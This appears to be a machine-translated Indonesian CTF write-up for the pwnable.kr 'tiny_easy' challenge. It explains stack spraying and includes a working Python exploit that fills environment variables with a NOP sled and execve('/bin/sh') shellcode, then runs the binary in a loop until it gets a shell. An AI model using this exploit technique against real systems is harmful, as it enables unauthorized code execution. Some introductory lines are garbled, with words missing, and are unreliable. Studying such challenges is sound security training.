Pemecahan masalah dengan pwnable.kr 27 - tiny_easy. Memahami Stack Spraying

gambar

Pada artikel ini, kita akan menyelesaikan tugas ke-27 dari situs pwnable.kr dan kita akan mengerti apa itu Stack spraying.

Informasi Organisasi
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Solusi untuk pekerjaan tiny_easy


Klik pada ikon tanda tangan tyni_easy. Kami diberi alamat dan port untuk terhubung melalui ssh.

gambar

Kami terhubung melalui SSH dan kami melihat bendera dan program sudah tanpa kode sumber.

gambar

Sebagai hasil dari memeriksa file, kami menemukan bahwa itu tidak memiliki perlindungan.

gambar

Unduh program ke disassembler. File ini sangat kecil dan hanya mengikuti beberapa instruksi.

gambar

Pada awalnya, program mengekstraksi nilai dari tumpukan ke register EAX, setelah itu mengekstrak nilai yang lain ke EDX dan mentransfer kontrol ke alamat ini. Tapi apa yang ada di tumpukan di awal program? Tumpukan pada saat itu berisi argc yang sama (jumlah argumen program), argv (pointer ke array argumen program) dan envp (pointer ke array variabel lingkungan).

gambar

Jadi, di EDX, alamat akan ditempatkan pada elemen pertama dari array argumen program, yaitu, di jalur penuh ke file yang dapat dieksekusi! Karena itu, ketika mencoba menjalankannya sebagai kode, aplikasi tersebut harus macet. Jika Anda memeriksa, maka ternyata.

gambar

Stack spraying adalah serangan yang menggunakan kesalahan dalam memori aplikasi, yang memaksa aplikasi untuk mengalokasikan memori untuk sejumlah besar objek yang mengandung kode berbahaya. Ini meningkatkan kemungkinan keberhasilan eksploit, yang mentransfer aliran eksekusi ke beberapa posisi di dalam. Penting untuk dipahami bahwa tanpa eksploit yang memungkinkan Anda mengubah alur eksekusi, serangan ini tidak akan membahayakan. Serangan didasarkan pada prediksi alamat dalam ruang alamat proses.

Saat membuat proses dalam sistem operasi, ruang alamat dialokasikan untuk kebutuhannya, di mana data pengguna, kode yang dapat dieksekusi, dan beberapa informasi sistem, yang tergantung pada sistem operasi tertentu, berada. Jadi, di segmen tumpukan, variabel dengan kelas penempatan otomatis disimpan, serta informasi yang disimpan setiap kali fungsi dipanggil, misalnya, variabel statis dan alamat pengirim saat fungsi dipanggil. Dalam kasus penyemprotan tumpukan, kami beroperasi pada variabel lingkungan tempat eksploitasi berada.

Dengan cara ini kita dapat mengatur shellcode di variabel lingkungan di stack. Tapi kami akan melakukan banyak operasi nop di depannya, karena kami tidak mungkin bisa sampai ke alamat yang benar.

import os
import subprocess

payload =  "\x90"*4096 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"


Karena program dimulai dari alamat 0xff ******, kami mengambil alamat acak untuk stack dari lingkungan ini, misalnya, 0xffbbbbbbbb.
addr = "\xb0\xaf\xb5\xff"


Sekarang kita akan membuat beberapa variabel lingkungan dengan shellcode kita, sehingga kemungkinan untuk mendapatkannya lebih tinggi.

envs = {}
for i in range(0,100):  
    envs["env"+str(i)] = payload

Dan beberapa kali kami menjalankan program dengan parameter kami.

while True:
	p = subprocess.Popen([addr], executable="/home/tiny_easy/tiny_easy", env=envs)
	p.wait()

Setelah menjalankan kode lengkap, kami mendapatkan shell.

gambar

Selanjutnya ... Anda dapat bergabung dengan kami di Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

Source: https://habr.com/ru/post/undefined/


All Articles